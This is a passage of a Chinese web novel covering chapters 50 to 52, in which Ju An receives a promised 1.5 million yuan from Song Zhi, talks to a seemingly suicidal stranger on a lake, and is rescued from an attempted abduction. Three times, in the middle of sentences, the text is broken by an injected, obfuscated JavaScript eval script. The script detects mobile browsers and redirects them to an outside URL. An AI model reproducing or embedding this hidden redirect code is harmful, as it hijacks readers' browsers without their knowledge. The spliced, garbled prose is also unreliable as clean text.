宋挚端起饭碗,用公筷给自己夹了些素菜,“不是什么大事,赶紧吃菜吧,待会儿要凉了。” 雎安极力控制着自己失落的情绪,不希望自己表现得太过明显,但她的双肩却不自觉地耸拉下来,眼神都暗淡了几分,也不再找话题聊天。 宋挚当然能察觉到了雎安的异样。 只要他想,他既可以守着自己的边界,同时又能理解他人,既能尊重自己的感受,又能顾及到家人、朋友、师长和点头之交的情绪。 可雎安是哪一类呢? 他不知道该如何处理她的情绪,因为他不知道他们之间的边界在哪。 怎样是越界? 她想知道他最近在烦恼什么,这算不算? 她因为他拒绝分享而情绪低落,这又算不算? 他想,算的,明明是她越了界。 可既然是她的问题,是她的情绪,与他无关,他又在慌什么? 宋挚埋头吃饭,突然想到什么,瞳孔一震,抬手看了眼腕表,吃饭的速度越来越快。 时机,不容错失。 “你……不是送我回家?” “你到底要干嘛啊?干嘛带我来这?” 他们站在银行门口的那刻,雎安就已经猜到宋挚要做什么了,可她的潜意识还是不敢相信,所以一直在向他确认。 “履行承诺。”宋挚转头看她,语气非常冷静:“我向你承诺的150万,现在转给你。” 150万,现在就转?! 雎安倒吸一口气,她从未想过她的账户上出现150万的转账提示会是怎样的画面。 她会做些什么?会是怎样的反应? 下午三点,雎安恍恍惚惚地从银行里走出来,脚像踩在棉花上一样。 她跟着宋挚走到停车位,拉开门,刚坐进副驾驶,就收到了银行的信息。她赶忙打开手机,点开手机银行,盯着银行卡余额那一栏,一动不动。 乍一看,路人兴许会觉得她在看什么无关紧要的文件,可再仔细看看,就会发现她激动得手都在微微打颤。 雎安想,如果此刻有人笑话她穷,笑话她反应夸张,笑话她没见过世面,她不会难过,更不会难堪,反而会坦然地告诉笑话她的人。 这笔钱,与她而言是巨大的财富,不止在物质上,更是在精神上。 它可以是她攀高时碰见的缆车,可以是她跌落江河时身穿的救生衣。有了它,她追逐梦想的脚步更坚定,改写命运的笔触更有力。 50. 给足了她安全感 宋挚驾轻就熟,将小车停在熟悉的停车点—南林社区的小巷入口处。 “有一点,我得和你说清楚。” 在雎安解安全带之际,宋挚突然开口,“我们不是男女朋友。我不会总是对你关怀备至,你的情绪也不由我负责,我有我的边界,希望你不要越界。” 雎安原本起越的心情一下归至平地,心脏像是被棉花团住般闷堵,“好,我明白了。” 可这是宋挚该有的反应,她这么告诉自己。 “如果你感觉不舒服,请直接告诉我。”雎安像个认错的孩子,态度诚恳,但声音和表情中总带着那么些委屈,“我这个人不怎么会处理关系,很多时候都意识不到,麻烦你了。” “好。”宋挚深深地呼出一口气。 他本以为,他和以往一般处理这种荒谬的事情,心中的烦躁便能被平息。可此刻,他仍然心烦意乱,口鼻处更是像戴了两三层口罩般憋闷。 宋挚摁下车窗透气,“现在还早,你能自己回去吧?” “嗯,我自己回去就行了。” 这回,雎安应得非常快,快得让宋挚感知到了不对劲的气息。 “那我......嗯~” 雎安转身,面对着宋挚,支支吾吾半天,宋挚也就这么静静地等她开口,一点也没有不耐烦。 “那我今晚把酒店地址发给你,我们明晚见?” 雎安一说完,便低下头去,脸涨得通红。 她知道宋挚没办法拒绝,因为这是她附加的条件,这也正是她脸红的原因。 接着,便是长久的沉默。 兴许这段时间根本不长,只是在这辆车里,被她和他之间凝滞的氛围所冰冻,像是面包被放进了冰箱的冷冻层,三天的保质期被延长至一个月,所以显得格外得慢。 “好。” 宋挚终于吐出了一个字,一旁的雎安从中听出了赴死般的无奈和决心。 她转过身,根本不敢看宋挚的表情,怕看了会狠狠扎她的心,“如果你不喜欢我选的酒店,可以直接告诉我,我会换一家。” “好。” 这回,宋挚答得很快。 雎安松了口气,开始一边解安全带一边在心中合理化她的流氓行为,以此来为自己壮胆。 其实仔细想想啊,她是给过他选择的,所以他只能算是被半强迫,而且她还是个青春年少的弱女子,肯定比强抢民女的山匪好很多。 不对!她干嘛拿自己和山匪比?她该坦荡些,承认自己现在就是在做坏事。既然是做坏事,她怎么能怕被人指责?又怎么能害臊呢? “哒”一声,遮阳板被倏地放下。 宋挚被突如其来的声响和动静给震了一下。 与此同时,雎安拿出帆布包里的纸质资料,将它举到脑袋的位置,竭尽全力遮挡住脸和身上的特征。 宋挚意识到她是在躲人,便好奇地观察起四周。 一个微胖但长相俊朗的中年男人成为了他的重点关注对象,因为他的五官和雎安有六分像,疑惑的表情更是让他有似曾相似的感觉。 他多半是雎安的父亲。 “为什么要这样鬼鬼祟祟的?”雎安紧张过头的反应让宋挚起了疑心,此刻他也不知道自己是更想打趣,还是想探清情况,“我们又不是在偷情。” “啊?”雎安先是愣住,而后被这话惊得手一抖,差点没拿稳手中的资料。 宋挚嘴角不自觉地上扬,也不问雎安的意思,就伸手将遮阳板打上去。 雎安吓得一把抓住他的手,另一只手则抬高遮挡,同时露出两只眼睛朝外瞄,发现邹伟聪已经走进巷子里的那刻,她悬着的心终于落了下来。 他在使坏! 雎安不可置信地回身瞪他,却发现他没在看她,而是盯着她抓着他的手。 当他发现雎安在看他的时候,才当着她的面挣脱开,还一副“她越界了”的表情。 他怎么这样? 雎安不自觉地撅起嘴表示不满,脑中瞬间闪过好几句质问的话语。 “你不是才说让我不要越界吗?那你刚刚为什么要戏弄我?” “难道你的意思是,你可以越界,我不可以?” 可很快,这些话语就被她的大脑抹去了。因为她意识到自己并没有真的在生气,胸口也没有闷堵的感觉。 相反,这让她回忆起了一些场景,一些不属于这个世界的场景,错愕和恍惚瞬间盖过了她方才的情绪。 车内死寂般的安静。 “你还记得谢姨吗?”雎安突然问道:“就是你被烫伤那次,对着你笑成了月牙眼的阿姨。” 宋挚像是被勾起了什么不好的回忆,声音有些不自然,“记得。怎么了吗?” “谢姨之前碰见我带你去看伤,后来又撞见了你送我回家,就很激动地跑到我爸妈和小区那些阿姨面前一顿添油加醋。现在小区里传来传去,都已经传成我要结婚加入豪门了。如果这时候再让我爸撞见你送我回家,你就有大麻烦了。” 雎安表情非常严肃,“你会被缠上的。” 她话中有话,着重强调她这么努力躲藏是为了顾及他的声誉。 可在宋挚看来,她严肃的表情下藏着孩童般的示威和反抗。她这是在对他刚刚的行为表达不满,委婉而巧妙。 “嗯,谢谢你为我考虑。” 雎安已经下车,弯腰探身进车内,准备在关门前礼貌道别,没想到居然会听到宋挚说“谢谢”。 “不用,毕竟这也算是因为我惹的麻烦。”雎安朝他挥挥手,“谢谢你送我回来,我先回去了,拜拜。” “再见。”宋挚垂眸颔首,从说谢谢开始,就没有直视雎安。 时间尚早,宋挚驱车去了在华州以性价比高而闻名的南林菜市场,计划买些新鲜食材回家,煲一锅当归红枣乌鸡汤,装成两壶分别给王屹叔和汪炎警官。 下午四点,采购完毕。 宋挚将所有包好的食材放进环保袋,然后将环保袋放进后座,开始驱车回嘉源的公寓。 中途,他为了躲避横冲直撞的电动车而急刹三回,被堵在了等待时间极长的十字路口。这里是市中心和附近老城区的交界,车水马龙,人来人往,有时候甚至比涩谷还繁忙。 宋挚靠在椅背上,看了眼90秒的倒计时,开始百无聊赖地观察起四周。 他侧头,看到了熟悉的背影。 他以为是自己花眼,用力眨眼又睁开。但这回,他更加确定背影的主人就是雎安。 一样的衣服,一样的身型,一样的走路姿态。 即便宋挚看不到她的脸,也能从她的肢体语言中感受到欢欣和愉悦。 宋挚觉得奇怪,他刚刚看到她是从一家全国连锁的经济型酒店里走出来的,现在进了一家转角处的奶茶店。 于是,等绿灯亮起,他放慢车速,开车经过时又看了几眼。 恰巧雎安就坐在正对着马路的座位上,左手撑着下巴,右手拿着手机,满脸笑意地盯着手机屏幕。 宋挚越想越不对劲,当即转到左车道,果断在第一个路口转弯,回到十字路口的红路灯处又等了一个90秒的红灯,将车开到最近的停车场,然后快步来到雎安所在的奶茶店。 幸好,她的柠檬茶只喝了一半,人还在原位。 宋挚走到玻璃窗前轻轻地敲了两下玻璃,在看到雎安惊讶无措的表情后,他歪头一笑,算是打过招呼,转身推门进店。 雎安本来全身心都非常放松,心情因为150万而飞到了天际,碍于是在公共场合,她不好盯着余额傻笑,于是便刷起了华州市的五星级酒店。 她还从来没住过五星级酒店,也从来没和男生做过饭,这不得弄得隆重一点? 正当她一边喝着她爱的柠檬茶一边愉悦地选酒店的时候,宋挚突然冒了出来,吓得她有一瞬觉得自己的魂都跑了。 “好巧,我刚买完东西就看到你了。”宋挚径直走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16135447|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她身边,在她身边的空位上落座,“话说,你怎么会跑到这么远的地方来喝柠檬茶?” 雎安第一反应是将手机翻过去。 由此,手机屏幕狠狠地撞上桌面,发出了一声哀嚎。 这动静,毫无疑问引起了宋挚的注意。 “确实很巧。”雎安的嘴角扯出一个弧度,“今天周六嘛,我不想那么早回家,就出来逛逛。” 宋挚双手环胸,定定地看着她,虽然没有表现出一点侵略性和审判意味,但他明显是不信的。 “可我刚刚看到你是从有家连锁酒店走出来的。”宋挚轻勾唇角,一副坐等雎安解释的模样。 不会吧?!这都能被撞见? 亏她坐公交来酒店的路上一直鬼祟地躲来躲去,结果还是被发现了。 “没什么,就是总和父母起争执,心力交瘁,所以就跑出来住酒店了。”雎安解释时,声音压得很低。 在她看来,像宋挚这类在成长期间得到了父母足够关爱的孩子,是无法理解她的。哪怕宋挚现在和宋言林有矛盾,但他本身是在爱里长大的,和她始终不同。 她真的,不想再听见任何关于顺从父母和多忍让、多担待的说教和劝阻。 “一直住酒店不是办法,你想过租房吗?” “有,我还在看。” “需要帮忙吗?” “嗯,要。”雎安想了想,一本正经地回应道:“我想先自己看看,等进入决赛圈的时候再请你来帮我排除掉一些选项。” 出乎意料的是,宋挚没有多说什么,而是直接提建议和尝试提供帮助。 雎安想,可能是因为他当下和宋教授有着难以调和的矛盾,所以能够理解她吧。 “可以,那你到时候再联系我。”宋挚笑着问道:“所以,你刚刚躲躲藏藏的,是怕你爸会抓你回家?” 雎安不明白,宋挚今天怎么就这么难缠? “确实有这一小部分原因。”雎安一不做二不休,坚定地说道:“但主要还是我家人有些偏执,如果让你和他们接触上,我担心对你的影响不好。” 雎安说的也是实打实的心里话。 “怕对我的影响不好?”宋挚还是第一次听到这种说法,撑桌面上的手揉捏着耳朵,真诚地发问道:“为什么?什么意思?我没听懂。” 雎安无奈地叹了口气,用自己都没有意识到的绵软语气抱怨道:“就不能别再问了吗?” 宋挚揉捏耳朵的动作一滞。 他今天一直觉得哪里不对劲,起初,他以为这感觉的来源是因为雎安又在撒谎骗他,可就在刚刚,他意识到并非如此。 不对劲的确实是雎安,但又不是雎安本身,而是她和他相处时的方式和反应。 以往,她总是会隐藏她真实的情绪,社交上更是非常得疏离客气。 逃离餐馆那次,她的眼睛肿得不行,明显心情不佳,但仍然努力表现出一副没事人的模样来。而他们刚刚在鸡公煲店用餐时,她却会因为他的敷衍应答表现出明显的失落。 还有车上放挡板那次,正常来说,就算他当着她父亲的面收起挡板,她大概率也不会阻止他,不会唐突地抓他的手,而是会用纸将自己的脸挡得严严实实,还会询问他是不是不高兴了?最后,还会不明缘由地给他道歉。 这才是他印象中的雎安会做出的反应。 当下,她自然了很多,坦然了很多,不会总把对不起挂在嘴边,甚至会诓他,会在无意间显现出一丝亲昵,会在他面前表露出她真实的情绪。 还有一个可疑的点,就是她进装置前明明是受了大委屈的伤心模样,面上的光彩仿佛是被乌云遮住了。然而,从装置出来后,她连脚步都变得轻松愉悦、顿时晴空万里。 而这改变,是在她第三次从装置里出来后开始的。 一定是有什么影响了她,给足了她在他面前表达的安全感。 “你是不是……和装置里的我发生了什么?” 51. 帅哥,你叫什么名字? 周一下午的蓉湖公园,只有商贩老板们和寥寥几个泛舟湖上的游客。 雎安很熟悉这里,蓉湖是华州著名的免费景点,离她家不远,是她每年都会来走走的地方。 而她戴着一顶黑色渔夫帽和一副黑色墨镜,快步穿过一个又一个打卡点,期间不停地压低帽檐,偶尔会驻足望着湖面,几乎成了公园里最显眼的存在。 虽然显眼,但并没有什么人注意到她。 她需要一个幽静而明媚的环境来治愈她,让她毫无负担地哭一场,平复一下糟糕透顶的心情。 她知道一个地方,那算是她的秘密基地。 湖中心有一个小岛,小岛上的绿植格外茂盛,往里走,甚至能短暂地体验到白日在枝繁叶茂的森林里行走时那种遮天蔽日的感觉,而只要走到小岛的中心位置,因为没有了树木,瞬间又会被烈日环抱着烘烤。 雎安站在供游客休息的一大排木制桌椅和石凳旁,侧边还有一个自动贩卖机和一个纪念品售卖商店。商店的门口摆了一个小摊,一男一女两个店员坐在摊位前低头玩着手机,在满是绿植的背景衬托下,看着相当惬意。 雎安接着往西北方向走,那有一座不足五米的小桥,小桥连接着一座叫作知心亭的凉亭,知心亭外便是蓉湖游船人数最多的湖面。 此刻,雎安独自一人坐在知心亭上,摘下墨镜,眺望远方,竟觉得今日的湖水前所未有的清澈。 兴许,她所看到的美景,是她的眼泪促成的。 2026年3月3日,元宵节。 她的悲伤情绪让她选择性地无视了路上所有的花灯,若非手机弹窗不断提醒着她,今天是元宵节。她断然不会发现,更不会有心思观赏湖对岸的那一排又一排的灯笼。 蓉湖最热闹的时段是晚上七点以后,那时候对岸所有的灯笼都会被点亮,湖中也会亮起五光十色的灯光,来和对岸交相辉映。而结束工作的本地人,也会准时蜂拥至此处。 她不喜欢那么热闹的场景,会让她觉得她的眼泪冒昧而滑稽。 此刻就很好。 她坐在知心亭的美人椅上,没有任何人会关注和在乎她的眼泪。而她,不用掩饰情绪,不用着急擦拭眼泪,就这么毫无心理负担地靠着栏杆,双手架上去,脑袋也凑上去,直直地望着远方略显阴沉的灰蓝色的天,眼眸逐渐失了焦。 突然,知心亭的左面出现了极其刺眼的日光,右面的天空却愈发阴沉,下起了毛毛细雨。 雎安的眼睛蓦地被光刺了下,却不是在看向左侧的时候,而是在望着右侧的那一瞬。 好似阳光照到了一颗钻石上,发出了夺目的光彩。 眼前的光晕让雎安有片刻的恍惚,但只一瞬,她便迅速抬手抹去眼泪,眼眸也识趣地快速完成对焦。 有一叶小舟在湖面上飘荡,小舟前端的尾部放置着两个划桨和一个水勺,另一端躺着一个身形欣长的年轻男人,他用左手作枕,一瞬不瞬地望着眼前那阴云密布的天空,细雨直直地落在他的脸上和身上,可他毫无反应,全然沉浸在自己的世界里。 小舟正慢慢地飘向阳光所在的方向,雎安再一次看到那个熠熠生辉的钻石。准确地说,是从男人的眼眸中落下的眼泪。 他哭得很美,像是在拍写真的模特。 可他眼神却又是那么的平静、那么的悲伤,似曾相识的感觉让雎安嗅到了一丝危险的意味,而真正让她脑中警铃大作的时刻,是在她注意到男人没穿救生衣的那一刻。 “需要帮忙吗?”雎安扯着嗓子喊,“我可以帮你打景区的救助电话。” 宋挚被雎安的声音唤醒,动作缓慢地坐起身,茫然地寻找着声音的来源,直到他发现他的斜侧上方有一个凉亭,凉亭上有一个女人在朝他挥手。 那女人的脸上都是泪痕,眼下还有未能及时擦去的眼泪,而眼泪之上,是她水盈盈的双眸,眸中写满了焦急和担忧。 男人起身寻找她的那段短暂的时间里,小舟顺着水流飘到了知心亭的正下方,雎安注意到男人身着一身茶黑色的套装,几乎快要和舟身融为一体,而他的身下却出现了一抹极其扎眼的橙色。 是救生衣! 他居然有救生衣,还将救生衣扔在一旁,该不会是想......轻生吧?! “帅哥,你叫什么名字?” 雎安一边假意搭讪,一边从兜里掏出手机,“可以告诉我你的微信号吗?” 实际上,她正在编辑短信给救援队,告诉他们这可能有人想轻生,请快点派救援船来知心亭附近。 事关人命,就算是乌龙,被骂一顿也无所谓。 “我最近碰到了很多糟心的事,情绪起起伏伏,一度快要发疯,当我想找人倾述的时候,却发现……周围没有人能倾诉。虽然我也明白自己才是自己最好的伙伴这个道理,但我还是很想找一个人倾诉。” 此刻的雎安难过而无助,看着非常可怜,因为她不是装的,她当下说的话是真心话。 虽然,下一句开始就是胡诌的了。 “我可以和你交换故事吗?”雎安又补了一句,“说不定,我们可以成为彼此的倾诉对象。” “我帮不了你。” 宋挚的视线始终停留在她的水盈盈的眼睛上,哪怕她偶尔低头、不知在做些什么,他也仿若看不见,就这么静静地观察她,“两个内心千疮百孔的人,只会贪婪地汲取对方的能量来填补伤口,最终谁都好不了。” 他很悲观,看来她的判断是对的。 “可我觉得,我的心脏挺好的,没有到千疮百孔的地步。”雎安往前探身,“要不……我不和你分享我的糟心事了,你把你的糟心事说给我听?我来安慰你。” “我才不说。” 宋挚扭头,慢慢起身去拿舟头的两个划桨,看样子是想远离她。 “为什么?”雎安眉头紧蹙,担心他会划到一个无人的角落跳湖,所以着急地吼出了声,像在质问。 宋挚没少被搭讪,他看得出眼前的女生不是那种胆子大到敢贴上来的人,最多也就敢在嘴上调侃调侃,被拒绝一下都会面红耳赤,然后火速离开。 所以,她的执着发问让宋挚感到奇怪。 可是,她奇怪的何止是刚刚的质问,明明一开始看着那么难过,却突然和他搭讪,明明说要他的电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16146163|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,却突然转移话题,开始说她的伤心事,说要互相安慰,最后又突然逻辑混乱地聊天聊地。 奇怪得让人发笑。 于是,他便真的笑了出来,“等我上岸了,你一定跑得比兔子还快。” “啊?” 雎安一时没反应过来,在意识到他话中有话的时候,脑中便开始闪过一个又一个可能性的解读。 难道他的意思是,她现在这么勇地缠着他、调戏他,惹得他烦,等他上岸就要她好看?! 太离谱了吧,还是第二个解读更合适。 他肯定是想说,她不是那个真心想听他倾诉的人,等他真正出现在她面前的时候,她就会跑开。 雎安想了想,觉得他其实说得没错。 虽然他长得帅,她也是真心不想他跳湖,但出于对自身的安全考虑,如果他真打算来岸上和她倾诉,她确实会跑得比猎豹还要快。 “你有什么想去的地方吗?”雎安不死心,试图激起他对美好生活的向往,“世界这么大,我还没去过什么地方,现在我超级想去看熊猫,你呢?” 宋挚的脸上早已没了笑意,认真地观察四周,慢慢开始滑动船桨。 “你呢?”雎安扯着嗓子喊。 宋挚叹了口气,搞不懂她在干嘛,是缠上他了吗? 可一想到她的脸上都是泪痕,他没忍心让她失望,回答了她,“去华州动物园,那里就有一只熊猫。” “不!”雎安拒绝得很快,“我想看的是刚出生的熊猫宝宝,那里没有。” 宋挚又叹了口气,默默加快了划桨的力度和速度,“那我祝你暴富,早日去成都看熊猫宝宝。” 身后没有回应。 宋挚虽然好奇,有想回身看一眼的冲动,但他怕这会鼓励到那女生,引起更热烈的问候和纠缠,就作罢了。 突然,他的右前侧有一艘巡逻船朝他快速驶来,刺耳的喇叭声也随之袭来。 大致意思是:气象台预警,再过一小时会有突发的雷暴天气,伴有六级大风,让开电动船的游客赶紧开回码头,自划船的游客将会被打捞回岸。 紧接着,他的船头就被扣上了一个铁扣,和巡逻船钩在了一起。 “又一个不穿救生衣的,为了拍照耍帅,不要命啦!” 皮肤黝黑的大叔根本不给宋挚任何解释的机会,搭完扣子以后,就直接开船到知心亭前方十米处,将另一叶飘来此处的小舟搭在宋挚的舟尾处。 “又一个不好好划船的,还不穿救生衣,还躺着,就这么不珍惜生命吗?!” 船上有一个身着白衣的男生,他原先是躺在舟上吹风,也没有穿救生衣,还亮着的手机上是他拍的风景照。 “看你年纪轻轻的,还是学生吧?有什么想不开的?以后去北上广深打个工,就知道你现在的生活有多幸福了!” 男生被训的一脸懵,脸上还有从大叔嘴里的飞溅出来的口水,但大叔气势太强,他根本不敢回嘴,只当大叔是在向他发泄生活的不满。 宋挚在一旁听着,面上没有任何表情,眼睛不自觉地往上看。 知心亭上早已没了人影。 52. 你可以抱抱我吗? 2026年,元宵节,晚上八点。 雎安在酒店的房间里收到了工作人员送来的热汤圆。 她本以为她会觉得自己很凄凉,会一边哭一边吃这碗汤圆,可她却出乎意料地平静。 在这个独属于她的空间里,房间的暖气开得很足,电视机正播放着元宵晚会,歌舞声和窗外的烟花爆竹声交织在一起传进了室内,她就坐在窗边的榻榻米上,腹部盖着柔软的毛毯,鼻腔和口腔还留有芝麻汤圆留下的香气。 温暖而舒心,她觉得很幸福。 2026年正月十六,上午八点。 因为失业而变成无业游民的雎安走出了酒店,准备去图书馆看看书,透口气,等明天再收东西搬去青旅。 现如今的青旅已经成规模的酒店化,除了没有独立空间,很多门店的设施和环境甚至比经济酒店都要好,但她因为从没试过,心里有些抗拒。可抗拒也没用,她打算休整一段时间,在租到合适的房子前,不可能一直住在酒店。 至少,她的钱包不允许。 市中心的图书馆太过嘈杂,雎安一进门,就果断转身,去了位于华州公园最右侧的华州市图书馆第八分馆。 这风景旖旎,就是过于角落,知道的人不多,是城市中难得清净的风景圣地。 雎安去得早,选了个靠窗的坐下,窗外是成片的黄金间碧竹,有阳光透过繁茂的枝叶爬到了她的桌前,像在和她说Hi,而她却将身边书架上的《阳光下的罪恶》取了下来,用来遮阳。 只要待在针落可闻的地方,她就会不自觉地思考,思考她未来该怎么办,思考她要不要去北上广深找份翻译的工作,思考她要不要接着考研,亦或是试试考公? 她和大多数人一样迷茫,以至于真的坐在图书馆里要开始学习的那刻,根本不知道自己要看什么,最后干脆起身绕了一圈,选了本《如何停止胡思乱想,做一个快乐的人》,回座阅读。 窗外偶有三三两两晨跑的人经过,他们在阳光下奔跑,有人穿着老头背心,有人穿着紧身运动衣,也有人脱去了上衣,有人卫衣配短裤。 虽然衣着各不相同,但他们都有一个让雎安移不开眼的共同点,那就是他们都专注于自己、专注于当下。 雎安一直在看他们,看他们的身影消失在视线之内,手里的书停留在了第26页。然后,她果断关上书,将它们放回书架,收拾东西去了图书馆外的长椅上晒太阳。 听随自己内心的声音,什么都不做,什么都不想,就只是晒太阳。 华州的冬季并不太冷,三月天的阳光打在后颈和背上,不过半小时,雎安热得额头直冒汗。 她喜欢这种感觉,由此产生的愉悦感,和运动暴汗的感觉很相似。 “呜呜呜~呜呜呜~” 一阵哭声由远及近,越来越刺耳,雎安的注意力势必会被吸引。 “小朋友,你爸爸妈妈呢?”雎安压低声音询问,非常得温柔,“你是找不到他们了吗?” 一个看着只有五六岁的男孩用力地点了点头,用自己的衣衫擦掉眼泪,而后主动上前,小手牵着雎安,指了指图书馆后方的小路。 “你爸妈在哪?”雎安问。 小男孩用力地点了点头,终于开口说话:“车在那,爸爸让我等他,但那里有蛇。” 有蛇?! 雎安瞬间起了浑身的鸡皮疙瘩,“那你有被咬到吗?” 小男孩眼泪汪汪的眼睛看着她,一副又要哭的模样,摇了摇头。 雎安牵着小男孩,看小男孩对陌生人没什么防备,不由地感叹他父亲的心真大。 她们沿着大道往图书馆走,雎安打算带他到图书馆的工作人员那,她不敢独自去偏僻有蛇的角落。 “总算是找到你了!” 一个戴着蓝色口罩的男人出现,喜极的声音从雎安身后传来,声音特别地大,吓得雎安浑身一颤。 “天天到处乱跑,赶紧跟我回家!” 话音刚落,雎安还沉浸在帮男孩找到了爸爸的喜悦中,突然就被男人从后一把揽住,被用力地往一旁的灰色小车里拖! 雎安的脑袋一下炸开,开始拼命地挣扎,一边哭喊,一边用全力挥舞着双手,抓到什么都用力地捏、用力地扯。 可男女力量悬殊,她根本不是对手! 她用脚顶住车门,开始更用力地呼喊,对途径的路人。 可只有两个人,他们都只是看着她。 “对不起,对不起,我老婆工作压力大,最近精神出了点问题。” 终于,卫衣配短裤的晨跑路人企图上前搞清楚状况,可脚步却因为男人主动的解释而顿住。 “不!我不认识他们!” 雎安吼得撕心裂肺,即便男人捂着她的嘴,她就用力一咬,以要将肺部撕裂的力气高喊:“帮我报警!帮我报警!” “妈妈,妈妈……” 可这时,小男孩的哭声震住了每一个想要拨打110的人,他一边哭得不知天地为何物,一边不停地喊妈妈。 雎安的心脏像是被人用手掏了出来,扔进了雪池冰窖,凉到谷底。 “我不认识他们,帮我报警啊!” 可她没有看到有人拨电话。 “求你们了!” 雎安猛地回头,注意到图书馆的后门前,有一个人投来好奇的目光,保安大叔则举起手机、用镜头对准了她。 他在笑,她被丢进了车里。 “等等!” 一个铿锵有力的女声如救世主般降临,“我认识她,她是我的初中同桌,我们关系不错,她结婚的话,我怎么不知道?” 紧接着,雎安看到有人将即将关闭的车门一把拉开! 雎安赶忙从车里冲出去,一个趔趄,撞进了一个男生的怀里。 “没事没事,不用怕,你已经安全了。” 雎安不信,一把推开他,跑到两米远的位置,发现首当其冲的人真的是她曾经的初中同桌—曾滢。 她指着那戴口罩的男人,说她是记者,说她已经报警,让那男人摘下口罩。 那男人见到嘴里的鸭子飞了,气急败坏地骂她一个多年不联系的同学管什么闲事,耽误他带老婆去医院治疗。 “哪个医院?”曾滢一点都不露怯,“我可以立刻打电话过去确认。” 男人倒先露怯了,眼神躲闪,“我老婆很久没犯病了,已经出院很久了。” 男人让小男孩上车,他的脚步也在往后退,“我现在就回去拿结婚证和出生证明过来,你等着!到时候你要跪下来给我道歉。” 曾滢一点也不信,不肯让他走,“不行,你要一起去警察局!” 卫衣配短裤的男生也上前帮忙,“就是,她要真是你老婆,你怎么能丢下她跑了。” “可我儿子被你们吓到了啊!”男人理气直壮,“他哭个没停,眼睛都要花了,我得先送他回爷爷奶奶家。” 雎安确认自己真的安全了,无心再看前方的争执,无力地瘫坐在石凳上,额头上都是汗,心跳快得几乎要蹦出她的身体。 眨眼间,她打了个晃,差点往后倒,幸好被宋挚及时接住。 雎安认出了他,是昨天那个想跳蓉湖的男生,他还活着。 “多做几次深呼吸,你会好很多。”他的声音比昨天温柔很多,“你只是被吓到了,不用怕,你现在很安全。” “对,做深呼吸很有用的。”卫衣配短裤的男生不知何时也来到了她的身边,“吸气四秒,屏息七秒,然后再呼气八秒。” 曾滢也来到了她身边,“雎安,你放心,虽然刚刚我们没能拉住他们,但警察会来调查,我们新闻社也会曝光他们的恶行!” 雎安抬眸,想看一眼曾滢,却意外发现他们三人都蹲在地上、目光温柔地注视着她。 而她,从他们的眼中得到了理解和抚慰,潜意识里的内在小孩就这么被唤醒,此刻就和她一起坐在石凳上,鼻子一酸,眼泪就这么掉了下来。 她以往受过不少委屈,几乎都是独自扛,一是怕父母指责,二是怕叨扰朋友。而此刻,她无力拒绝,就这么被人围着争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16162054|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先照顾,这感觉竟是有让她泣不成声的魔力。 “别怕别怕。” 去警察局的路上,曾滢将雎安抱在怀里,一直在安慰,肯定是以为雎安是被吓坏了。 没错,雎安受惊是真,委屈难过也是真,但她在哭完以后心情就已经平复了许多,她没有说自己没事之类的话,是因为还沉浸在心灵和身体都在被关注和照顾的幸福中。 在这时候,没有人会说她矫情和麻烦。 在做笔录之前,他们要等警察调监控和了解基本情况,雎安和曾滢接着这个间隙聊了许久,包含她们的学生往事、两人的近况、以及今天这件事的来龙去脉。 雎安知道这也是曾滢的工作,她愿意配合和帮助她,毕竟,她在关键时刻站了出来,救了她。 当然,她也绝不会忘记身旁的两个男人,一个叫张百星,是最先想要走向并帮助她的人,另一个叫宋挚,是在车门关闭之际、一把拉开车门的人。 他们似乎认识,在雎安和曾滢交谈的时候,识趣而熟稔地去到了另一侧,聊天时还捂嘴笑了几次。 无聊而漫长的等待,一直等到终于可以分开做笔录,门外的天色已近黄昏。 而等到雎安做完笔录出来的时候,天色已暗,曾滢和张百星已经先行离开,只剩宋挚站在派出所门口低头看手机。 “天都黑了,你怎么不回家?”雎安上前搭话。 “正要回,要不要拼个车?”宋挚倾斜手机,屏幕上是正在输入目的地的画面,“如果还算顺路的话。” 直接拒绝不太礼貌,雎安想了想,说了酒店附近的早餐店的名字。 闻言,宋挚眉尾微微一动,浅笑道:“我们不顺路。” 雎安松了口气,她并不想让宋挚知道她住在酒店,因为她不想解释她为何会住在酒店。 “我们是一个目的地。” 雎安“?!......” “好了,司机距离我们只有100米,看来我们得快点往外走了。” 雎安根本没有拒绝的机会。 密闭的空间内,雎安透过车窗观察宋挚的侧颜,毫无疑问,他的侧颜相当优越,她看着看着,竟是着了迷般无法移开目光。 她不是在犯花痴。 隔着大衣,雎安将手放在心口处,确认这并不是那种偶像剧般真爱降临的悸动,而是一种难以言喻的心安。 兴许,这和他帮助过她有关。 同行的路途过于短暂,转眼间,两人都已下车,而下车点距离各自的目的地都不过五分钟的步行路程。 宋挚主动走在前方,雎安紧随其后。 